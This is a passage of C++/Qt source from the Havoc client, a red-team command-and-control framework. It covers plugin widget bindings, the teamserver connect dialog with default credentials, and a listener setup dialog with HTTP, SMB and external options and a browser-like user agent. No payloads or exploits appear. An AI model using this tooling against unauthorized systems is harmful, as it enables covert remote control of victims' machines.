char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void WidgetClass_dealloc( PPyWidgetClass self ) { if (self) { if (self->title) Py_XDECREF( self->title ); if (self->WidgetWindow && self->WidgetWindow->window) delete self->WidgetWindow->window; if (self->WidgetWindow) free(self->WidgetWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyWidgetClass self; self = ( PPyWidgetClass ) PyType_Type.tp_alloc( type, 0 ); if (self == NULL) return NULL; self->title = NULL; self->WidgetWindow = NULL; self->WidgetWindow = (PPyWidgetQWindow)malloc(sizeof(PyWidgetQWindow)); if (self->WidgetWindow == NULL) return NULL; self->WidgetWindow->window = NULL; self->WidgetWindow->layout = NULL; self->WidgetWindow->scroll= NULL; self->WidgetWindow->root = NULL; self->WidgetWindow->root_layout = NULL; return ( PyObject* ) self; } int WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds ) { char* title = NULL; PyObject* scrollable = NULL; const char* kwdlist[] = { "title", "scrollable", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s|O", const_cast(kwdlist), &title, &scrollable ) ) return -1; AllocMov( self->title, title, strlen(title) ); self->WidgetWindow->window = new QWidget(); self->WidgetWindow->window->setWindowTitle(title); self->WidgetWindow->root = new QWidget(); self->WidgetWindow->layout = new QVBoxLayout(self->WidgetWindow->root); if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) { self->WidgetWindow->scroll = new QScrollArea(self->WidgetWindow->window); self->WidgetWindow->scroll->setWidgetResizable(true); self->WidgetWindow->scroll->setWidget(self->WidgetWindow->root); } self->WidgetWindow->root_layout = new QVBoxLayout(self->WidgetWindow->window); if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) self->WidgetWindow->root_layout->addWidget(self->WidgetWindow->scroll); else self->WidgetWindow->root_layout->addWidget(self->WidgetWindow->root); return 0; } // Methods PyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QLabel* label = new QLabel(text, self->WidgetWindow->window); self->WidgetWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* WidgetClass_addImage( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QPixmap img(text); QLabel* label = new QLabel(self->WidgetWindow->window); label->setPixmap(img); self->WidgetWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args ) { HavocX::HavocUserInterface->NewBottomTab( self->WidgetWindow->window, self->title); Py_RETURN_NONE; } PyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args ) { HavocX::HavocUserInterface->NewSmallTab( self->WidgetWindow->window, self->title); Py_RETURN_NONE; } PyObject* WidgetClass_addButton( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* button_callback = nullptr; if( !PyArg_ParseTuple( args, "sO|s", &text, &button_callback, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(button_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QPushButton* button = new QPushButton(text, self->WidgetWindow->window); if (style) button->setStyleSheet(style); self->WidgetWindow->layout->addWidget(button); QObject::connect(button, &QPushButton::clicked, self->WidgetWindow->window, [button_callback]() { PyObject_CallFunctionObjArgs(button_callback, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* checkbox_callback = nullptr; PyObject* is_checked = nullptr; if( !PyArg_ParseTuple( args, "sO|Os", &text, &checkbox_callback, &is_checked, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(checkbox_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCheckBox* checkbox = new QCheckBox(text, self->WidgetWindow->window); if (style) checkbox->setStyleSheet(style); if (is_checked && PyBool_Check(is_checked) && is_checked == Py_True) checkbox->setChecked(true); self->WidgetWindow->layout->addWidget(checkbox); QObject::connect(checkbox, &QCheckBox::clicked, self->WidgetWindow->window, [checkbox_callback]() { PyObject_CallFunctionObjArgs(checkbox_callback, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args ) { Py_ssize_t tuple_size = PyTuple_Size(args); QComboBox* comboBox = new QComboBox(self->WidgetWindow->window); PyObject* callable_obj = PyTuple_GetItem(args, 0); if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } for (Py_ssize_t i = 1; i < tuple_size; i++) { const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); comboBox->addItem(string_obj); } self->WidgetWindow->layout->addWidget(comboBox); QObject::connect(comboBox, QOverload::of(&QComboBox::activated), [callable_obj](int index) { PyObject* pArg = PyLong_FromLong(index); PyObject_CallFunctionObjArgs(callable_obj, pArg, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args ) { char *text = nullptr; PyObject* line_callback = nullptr; if( !PyArg_ParseTuple( args, "sO", &text, &line_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(line_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QLineEdit* line = new QLineEdit(self->WidgetWindow->window); line->setPlaceholderText(text); self->WidgetWindow->layout->addWidget(line); QObject::connect(line, &QLineEdit::editingFinished, self->WidgetWindow->window, [line, line_callback]() { QString text = line->text(); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(line_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCalendarWidget* cal = new QCalendarWidget(self->WidgetWindow->window); self->WidgetWindow->layout->addWidget(cal); QObject::connect(cal, &QCalendarWidget::selectionChanged, self->WidgetWindow->window, [cal, cal_callback]() { QDate selectedDate = cal->selectedDate(); QString text = selectedDate.toString("yyyy-MM-dd"); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(cal_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addDial( PPyWidgetClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QDial* dial = new QDial(self->WidgetWindow->window); self->WidgetWindow->layout->addWidget(dial); QObject::connect(dial, &QDial::valueChanged, self->WidgetWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args ) { PyObject* cal_callback = nullptr; PyObject* vertical = nullptr; if( !PyArg_ParseTuple( args, "O|O", &cal_callback, &vertical) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QSlider* slider = nullptr; if (vertical && PyBool_Check(vertical) && vertical == Py_True) { slider = new QSlider(Qt::Vertical); } else { slider = new QSlider(Qt::Horizontal); } self->WidgetWindow->layout->addWidget(slider); QObject::connect(slider, &QSlider::valueChanged, self->WidgetWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args ) { char* to_find = NULL; char* to_replace= NULL; QVBoxLayout *layout = self->WidgetWindow->layout; if( !PyArg_ParseTuple( args, "ss", &to_find, &to_replace) ) { Py_RETURN_NONE; } QString targetText = QString(to_find); for (int i = 0; i < layout->count(); ++i) { QLayoutItem* item = layout->itemAt(i); if (item->widget() && item->widget()->inherits("QLabel")) { QLabel* label = qobject_cast(item->widget()); if (label && label->text() == targetText) { label->setText(to_replace); break; } } } Py_RETURN_NONE; } PyObject* WidgetClass_clear( PPyWidgetClass self, PyObject *args ) { QVBoxLayout *layout = self->WidgetWindow->layout; QLayoutItem* item; while ((item = layout->takeAt(0)) != nullptr) { delete item->widget(); delete item; } Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/Service.cc ================================================ #include uint64_t DemonMagicValue = 0xdeadbeef; ================================================ FILE: client/src/Main.cc ================================================ #include #include #include auto main( int argc, char** argv ) -> int { auto HavocApp = QApplication( argc, argv ); auto Status = 0; QGuiApplication::setWindowIcon( QIcon( ":/Havoc.ico" ) ); HavocNamespace::HavocApplication = new HavocNamespace::HavocSpace::Havoc( new QMainWindow ); HavocNamespace::HavocApplication->Init( argc, argv ); Status = QApplication::exec(); spdlog::info( "Havoc Application status: {}", Status ); return Status; } ================================================ FILE: client/src/UserInterface/Dialogs/About.cc ================================================ #include #include About::About( QDialog* dialog ) { AboutDialog = dialog; if ( AboutDialog->objectName().isEmpty() ) AboutDialog->setObjectName( QString::fromUtf8( "Dialogs" ) ); AboutDialog->setWindowTitle("About"); AboutDialog->resize(400, 323); gridLayout = new QGridLayout(AboutDialog); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); label = new QLabel( AboutDialog ); label->setObjectName(QString::fromUtf8("label_Name")); label->setMinimumSize(QSize(196, 0)); gridLayout->addWidget(label, 0, 0, 1, 3); pushButton = new QPushButton(AboutDialog); pushButton->setObjectName(QString::fromUtf8("pushButton_New_Profile")); gridLayout->addWidget(pushButton, 3, 2, 1, 1); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer, 2, 1, 1, 1); textBrowser = new QTextBrowser(AboutDialog); textBrowser->setObjectName(QString::fromUtf8("textBrowser")); textBrowser->setOpenExternalLinks(true); gridLayout->addWidget(textBrowser, 1, 0, 1, 3); label->setText(QCoreApplication::translate("Dialogs", R"(

Havoc

)", nullptr)); pushButton->setText(QCoreApplication::translate("Dialogs", "Close", nullptr)); textBrowser->setHtml(QCoreApplication::translate("Dialogs", "\n" "\n" "

About Havoc

\n" "

Welcome to Havoc. Havoc is a Software for Adversary Simulations and Red Team Operations by 5pider.

", nullptr)); QObject::connect( pushButton, &QPushButton::clicked, this, &About::onButtonClose ); QMetaObject::connectSlotsByName( AboutDialog ); } void About::setupUi() { } void About::onButtonClose() { AboutDialog->close(); } ================================================ FILE: client/src/UserInterface/Dialogs/Connect.cc ================================================ #include #include #include #include #include void HavocNamespace::UserInterface::Dialogs::Connect::setupUi( QDialog* Form ) { this->ConnectDialog = Form; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8( "Form" ) ); Form->resize( 500, 260 ); Form->setMinimumSize( QSize( 500, 260 ) ); Form->setMaximumSize( QSize( 500, 260 ) ); Form->setStyleSheet( FileRead( ":/stylesheets/Dialogs/Connect" ) ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); plainTextEdit = new QPlainTextEdit( Form ); plainTextEdit->setObjectName( QString::fromUtf8( "plainTextEdit" ) ); plainTextEdit->setMaximumSize( QSize( 16777215, 45 ) ); plainTextEdit->setMinimumSize( QSize( 0, 45 ) ); plainTextEdit->setReadOnly( true ); plainTextEdit->setPlainText( "Havoc connection dialog. Connect to a havoc teamserver." ); label_Port = new QLabel( Form ); label_Port->setObjectName( QString::fromUtf8( "label_Port" ) ); ButtonNewProfile = new QPushButton( Form ); ButtonNewProfile->setObjectName( QString::fromUtf8( "ButtonNewProfile" ) ); ButtonNewProfile->setMinimumSize( QSize( 10, 30 ) ); label_Name = new QLabel( Form ); label_Name->setObjectName( QString::fromUtf8( "label_Name" ) ); lineEdit_Name = new QLineEdit( Form ); lineEdit_Name->setObjectName( QString::fromUtf8( "lineEdit_Name" ) ); lineEdit_Name->setMinimumSize( QSize( 150, 0 ) ); lineEdit_Host = new QLineEdit( Form ); lineEdit_Host->setObjectName( QString::fromUtf8( "lineEdit_Host" ) ); lineEdit_Port = new QLineEdit( Form ); lineEdit_Port->setObjectName( QString::fromUtf8( "lineEdit_Port" ) ); lineEdit_User = new QLineEdit( Form ); lineEdit_User->setObjectName( QString::fromUtf8( "lineEdit_User" ) ); lineEdit_Password = new QLineEdit( Form ); lineEdit_Password->setObjectName( QString::fromUtf8( "lineEdit_Password" ) ); lineEdit_Password->setEchoMode( QLineEdit::Password ); label_User = new QLabel( Form ); label_User->setObjectName( QString::fromUtf8( "label_User" ) ); ButtonConnect = new QPushButton( Form ); ButtonConnect->setObjectName( QString::fromUtf8( "ButtonConnect" ) ); label_Host = new QLabel( Form ); label_Host->setObjectName( QString::fromUtf8( "label_Host" ) ); label_Password = new QLabel( Form ); label_Password->setObjectName( QString::fromUtf8( "label_Password" ) ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); listContextMenu = new QMenu( this ); listContextMenu->addAction( "Remove", this, &Connect::itemRemove ); listContextMenu->addAction( "Clear", this, &Connect::itemsClear ); listContextMenu->setStyleSheet( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); listWidget = new QListWidget( Form ); listWidget->setObjectName( QString::fromUtf8( "listWidget" ) ); listWidget->setMaximumSize( QSize( 170, 16777215 ) ); listWidget->setContextMenuPolicy( Qt::CustomContextMenu ); listWidget->addAction( listContextMenu->menuAction() ); gridLayout->addWidget( ButtonNewProfile, 0, 0, 1, 1 ); gridLayout->addWidget( listWidget, 1, 0, 8, 1 ); gridLayout->addItem( horizontalSpacer, 1, 2, 1, 1 ); gridLayout->addWidget( plainTextEdit, 0, 1, 1, 2 ); gridLayout->addWidget( label_Name, 2, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Name, 2, 2, 1, 1 ); gridLayout->addWidget( label_Host, 3, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Host, 3, 2, 1, 1 ); gridLayout->addWidget( label_Port, 4, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Port, 4, 2, 1, 1 ); gridLayout->addWidget( label_User, 5, 1, 1, 1 ); gridLayout->addWidget( lineEdit_User, 5, 2, 1, 1 ); gridLayout->addWidget( label_Password, 6, 1, 1, 1 ); gridLayout->addWidget( lineEdit_Password,6, 2, 1, 1 ); gridLayout->addWidget( ButtonConnect, 8, 2, 1, 1 ); paletteGray = new QPalette(); paletteGray->setColor( QPalette::Base, Qt::gray ); paletteWhite = new QPalette(); paletteWhite->setColor( QPalette::Base, Qt::white ); Form->setWindowTitle( "Connect" ); ButtonNewProfile->setText( "New Profile" ); label_Name->setText( "Name:" ); label_Host->setText( "Host:" ); label_Port->setText( "Port:" ); label_User->setText( "User:" ); label_Password->setText( "Password:" ); ButtonConnect->setText( "Connect" ); ButtonConnect->setFocus(); connect( listWidget, &QListWidget::itemPressed, this, &Connect::itemSelected ); connect( listWidget, &QListWidget::customContextMenuRequested, this, &Connect::handleContextMenu ); connect( lineEdit_Name, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_User, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_Host, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_Port, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); connect( lineEdit_Password, &QLineEdit::returnPressed, this, [&](){ onButton_Connect(); } ); QMetaObject::connectSlotsByName( Form ); } Util::ConnectionInfo HavocNamespace::UserInterface::Dialogs::Connect::StartDialog( bool FromAction ) { auto ProfileName = std::string(); listWidget->clear(); for ( auto & TeamserverConnection : TeamserverList ) { listWidget->addItem( TeamserverConnection.Name ); } listWidget->setCurrentRow( 0 ); if ( ! listWidget->selectedItems().empty() ) this->itemSelected(); else this->isNewProfile = true; connect( ButtonConnect, &QPushButton::clicked, this, &Connect::onButton_Connect ); connect( ButtonNewProfile, &QPushButton::clicked, this, &Connect::onButton_NewProfile ); ConnectDialog->exec(); auto ConnectionInfo = new Util::ConnectionInfo; ConnectionInfo->Name = lineEdit_Name->text(); ConnectionInfo->Host = lineEdit_Host->text(); ConnectionInfo->Port = lineEdit_Port->text(); ConnectionInfo->User = lineEdit_User->text(); ConnectionInfo->Password = lineEdit_Password->text(); ProfileName = ConnectionInfo->Name.toStdString(); if ( this->tryConnect ) { auto ConnectionInstant = new Connector( ConnectionInfo ); HavocX::Teamserver = *ConnectionInfo; HavocX::Connector = ConnectionInstant; if ( this->isNewProfile ) { if ( ! this->dbManager->addTeamserverInfo( *ConnectionInfo ) ) { spdlog::warn( "Failed to add Teamserver Info to database" ); } } else if ( ConnectionInstant->ErrorString == nullptr ) { spdlog::info( "Connecting to profile: {}", ProfileName ); } else { spdlog::critical( "Couldn't connect to profile: {}", ProfileName ); Havoc::Exit(); } } else { if (!FromAction) { spdlog::info("Exit program from Connection Dialog"); HavocNamespace::HavocSpace::Havoc::Exit(); } } return *ConnectionInfo; } void HavocNamespace::UserInterface::Dialogs::Connect::passDB(HavocNamespace::HavocSpace::DBManager* db) { this->dbManager = db; } void HavocNamespace::UserInterface::Dialogs::Connect::onButton_Connect() { if ( lineEdit_Name->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Name is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_Host->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Host is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_Port->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Port is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_User->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "User is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( lineEdit_Password->text().isEmpty() ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Password is empty" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } if ( this->dbManager->checkTeamserverExists( lineEdit_Name->text() ) && this->isNewProfile ) { auto MessageBox = QMessageBox(); MessageBox.setWindowTitle( "Error" ); MessageBox.setText( "Profile Name already exists" ); MessageBox.setIcon( QMessageBox::Critical ); MessageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); MessageBox.exec(); return; } this->tryConnect = true; this->listWidget->addItem( lineEdit_Name->text() ); this->ConnectDialog->close(); } void HavocNamespace::UserInterface::Dialogs::Connect::itemSelected() { auto ProfileName = listWidget->currentItem()->text(); this->isNewProfile = false; for ( auto& Profile : TeamserverList ) { if ( Profile.Name == ProfileName ) { lineEdit_Name->setPalette( *paletteGray ); lineEdit_Name->setReadOnly( true ); lineEdit_Name->setText( Profile.Name ); lineEdit_Host->setText( Profile.Host ); lineEdit_Port->setText( Profile.Port ); lineEdit_User->setText( Profile.User ); lineEdit_Password->setText( Profile.Password ); } } ButtonConnect->setFocus(); } void HavocNamespace::UserInterface::Dialogs::Connect::onButton_NewProfile() { this->isNewProfile = true; listWidget->setCurrentIndex(QModelIndex()); lineEdit_Name->setText( "Death Star" ); lineEdit_Name->setPalette(*paletteWhite); lineEdit_Name->setReadOnly(false); lineEdit_Host->setText( "127.0.0.1" ); lineEdit_Port->setText( "40056" ); lineEdit_User->setText( "5pider" ); lineEdit_Password->setText( "password" ); } void HavocNamespace::UserInterface::Dialogs::Connect::handleContextMenu( const QPoint &pos ) { auto globalPos = listWidget->mapToGlobal( pos ); listContextMenu->exec( globalPos ); } void HavocNamespace::UserInterface::Dialogs::Connect::itemRemove() { for ( int i = 0; i < listWidget->selectedItems().size(); ++i ) { auto item = listWidget->takeItem( listWidget->currentRow() ); this->dbManager->removeTeamserverInfo( item->text() ); delete item; } this->onButton_NewProfile(); } void HavocNamespace::UserInterface::Dialogs::Connect::itemsClear() { this->listWidget->clear(); this->dbManager->removeAllTeamservers(); this->onButton_NewProfile(); } ================================================ FILE: client/src/UserInterface/Dialogs/Listener.cc ================================================ #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; using namespace HavocNamespace::UserInterface::Dialogs; bool is_number( const std::string& s ) { std::string::const_iterator it = s.begin(); while (it != s.end() && std::isdigit(*it)) ++it; return !s.empty() && it == s.end(); } NewListener::NewListener( QDialog* Dialog ) { ListenerDialog = Dialog; if ( ListenerDialog->objectName().isEmpty() ) ListenerDialog->setObjectName( QString::fromUtf8( "ListenerWidget" ) ); Dialog->setStyleSheet( FileRead( ":/stylesheets/Dialogs/Listener" ) ); ListenerDialog->resize( 550, 600 ); gridLayout = new QGridLayout( ListenerDialog ); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); ConfigBox = new QGroupBox( ListenerDialog ); ConfigBox->setObjectName(QString::fromUtf8("ConfigBox")); gridLayout_2 = new QGridLayout( ConfigBox ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); gridLayout_2->setHorizontalSpacing( 0 ); gridLayout_2->setContentsMargins( 0, 0, 0, 0 ); StackWidgetConfigPages = new QStackedWidget( ConfigBox ); StackWidgetConfigPages->setObjectName( QString::fromUtf8( "StackWidgetConfigPages" ) ); // ============ // === HTTP === // ============ PageHTTP = new QWidget(); PageHTTP->setObjectName( QString::fromUtf8( "PageHTTP" ) ); LabelHosts = new QLabel( PageHTTP ); HostsGroup = new QGroupBox( PageHTTP ); ButtonHostsGroupAdd = new QPushButton( PageHTTP ); ButtonHostsGroupClear = new QPushButton( PageHTTP ); LabelHostRotation = new QLabel( PageHTTP ); ComboHostRotation = new QComboBox( PageHTTP ); LabelHostBind = new QLabel( PageHTTP ); ComboHostBind = new QComboBox( PageHTTP ); LabelPortBind = new QLabel( PageHTTP ); InputPortBind = new QLineEdit( PageHTTP ); LabelPortConn = new QLabel( PageHTTP ); InputPortConn = new QLineEdit( PageHTTP ); LabelUserAgent = new QLabel( PageHTTP ); InputUserAgent = new QLineEdit( PageHTTP ); LabelHeaders = new QLabel( PageHTTP ); HeadersGroup = new QGroupBox( PageHTTP ); ButtonHeaderGroupAdd = new QPushButton( PageHTTP ); ButtonHeaderGroupClear = new QPushButton( PageHTTP ); LabelUris = new QLabel( PageHTTP ); UrisGroup = new QGroupBox( PageHTTP ); ButtonUriGroupClear = new QPushButton( PageHTTP ); ButtonUriGroupAdd = new QPushButton( PageHTTP ); LabelHostHeader = new QLabel( PageHTTP ); InputHostHeader = new QLineEdit( PageHTTP ); CheckEnableProxy = new QCheckBox( PageHTTP ); horizontalSpacer_6 = new QSpacerItem( 0, 0, QSizePolicy::Expanding, QSizePolicy::Minimum ); verticalSpacer = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding ); verticalSpacerHeader = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding ); ProxyConfigBox = new QGroupBox( PageHTTP ); verticalSpacerUris = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding ); formLayout_Hosts = new QFormLayout( HostsGroup ); formLayout_Header = new QFormLayout( HeadersGroup ); formLayout_Uri = new QFormLayout( UrisGroup ); formLayout_3 = new QFormLayout( ProxyConfigBox ); LabelProxyType = new QLabel( ProxyConfigBox ); ComboProxyType = new QComboBox( ProxyConfigBox ); LabelProxyHost = new QLabel( ProxyConfigBox ); InputProxyHost = new QLineEdit( ProxyConfigBox ); LabelProxyPort = new QLabel( ProxyConfigBox ); InputProxyPort = new QLineEdit( ProxyConfigBox ); LabelUserName = new QLabel( ProxyConfigBox ); InputUserName = new QLineEdit( ProxyConfigBox ); LabelPassword = new QLabel( ProxyConfigBox ); InputPassword = new QLineEdit( ProxyConfigBox ); formLayout_3->setWidget( 0, QFormLayout::LabelRole, LabelProxyType ); formLayout_3->setWidget( 0, QFormLayout::FieldRole, ComboProxyType ); formLayout_3->setWidget( 1, QFormLayout::LabelRole, LabelProxyHost ); formLayout_3->setWidget( 1, QFormLayout::FieldRole, InputProxyHost ); formLayout_3->setWidget( 2, QFormLayout::LabelRole, LabelProxyPort ); formLayout_3->setWidget( 2, QFormLayout::FieldRole, InputProxyPort ); formLayout_3->setWidget( 3, QFormLayout::LabelRole, LabelUserName ); formLayout_3->setWidget( 3, QFormLayout::FieldRole, InputUserName ); formLayout_3->setWidget( 4, QFormLayout::LabelRole, LabelPassword ); formLayout_3->setWidget( 4, QFormLayout::FieldRole, InputPassword ); ComboHostBind->addItems( QStringList() << HavocX::Teamserver.IpAddresses << "127.0.0.1" << "0.0.0.0" ); CheckEnableProxy->setObjectName( "bool" ); ProxyConfigBox->setEnabled( true ); InputUserAgent->setText( "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" ); // default. maybe make it dynamic/random ? InputUserAgent->setCursorPosition( 0 ); InputPortBind->setText( "443" ); InputPortConn->setText( "443" ); // ============= // ==== SMB ==== // ============= PageSMB = new QWidget(); PageSMB->setObjectName(QString::fromUtf8("PageSMB")); formLayout = new QFormLayout( PageSMB ); formLayout->setObjectName(QString::fromUtf8("formLayout")); LabelPipeName = new QLabel( PageSMB ); LabelPipeName->setObjectName(QString::fromUtf8("LabelPipeName")); formLayout->setWidget(0, QFormLayout::LabelRole, LabelPipeName); InputPipeName = new QLineEdit( PageSMB ); InputPipeName->setObjectName( QString::fromUtf8( "InputPipeName" ) ); formLayout->setWidget(0, QFormLayout::FieldRole, InputPipeName); // ============== // == External == // ============== PageExternal = new QWidget(); PageExternal->setObjectName(QString::fromUtf8("PageExternal")); formLayout_2 = new QFormLayout(PageExternal); formLayout_2->setObjectName(QString::fromUtf8("formLayout_2")); LabelEndpoint = new QLabel(PageExternal); LabelEndpoint->setObjectName(QString::fromUtf8("LabelEndpoint")); formLayout_2->setWidget(0, QFormLayout::LabelRole, LabelEndpoint); InputEndpoint = new QLineEdit(PageExternal); InputEndpoint->setObjectName(QString::fromUtf8("InputEndpoint")); formLayout_2->setWidget(0, QFormLayout::FieldRole, InputEndpoint); gridLayout_2->addWidget( StackWidgetConfigPages, 0, 0, 1, 1 ); gridLayout->addWidget(ConfigBox, 3, 0, 1, 6); ComboPayload = new QComboBox( ListenerDialog ); ComboPayload->setObjectName( QString::fromUtf8( "ComboPayload" ) ); gridLayout->addWidget(ComboPayload, 1, 1, 1, 5); LabelListenerName = new QLabel(ListenerDialog); LabelListenerName->setObjectName(QString::fromUtf8("LabelListenerName")); gridLayout->addWidget(LabelListenerName, 0, 0, 1, 1); LabelPayload = new QLabel(ListenerDialog); LabelPayload->setObjectName(QString::fromUtf8("LabelPayload")); gridLayout->addWidget(LabelPayload, 1, 0, 1, 1); horizontalSpacer_5 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_5, 4, 4, 1, 1); ButtonSave = new QPushButton(ListenerDialog); ButtonSave->setObjectName(QString::fromUtf8("ButtonSave")); gridLayout->addWidget(ButtonSave, 4, 2, 1, 1); horizontalSpacer_4 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_4, 4, 1, 1, 1); horizontalSpacer_3 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_3, 4, 5, 1, 1); InputListenerName = new QLineEdit(ListenerDialog); InputListenerName->setObjectName(QString::fromUtf8("InputListenerName")); gridLayout->addWidget(InputListenerName, 0, 1, 1, 5); horizontalSpacer_2 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_2, 4, 0, 1, 1); ButtonClose = new QPushButton(ListenerDialog); ButtonClose->setObjectName(QString::fromUtf8("ButtonClose")); gridLayout->addWidget(ButtonClose, 4, 3, 1, 1); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer, 2, 0, 1, 6); StackWidgetConfigPages->setCurrentIndex( 0 ); // Page HTTP/HTTPs gridLayout_3 = new QGridLayout( PageHTTP ); gridLayout_3->setObjectName( QString::fromUtf8( "gridLayout_3" ) ); 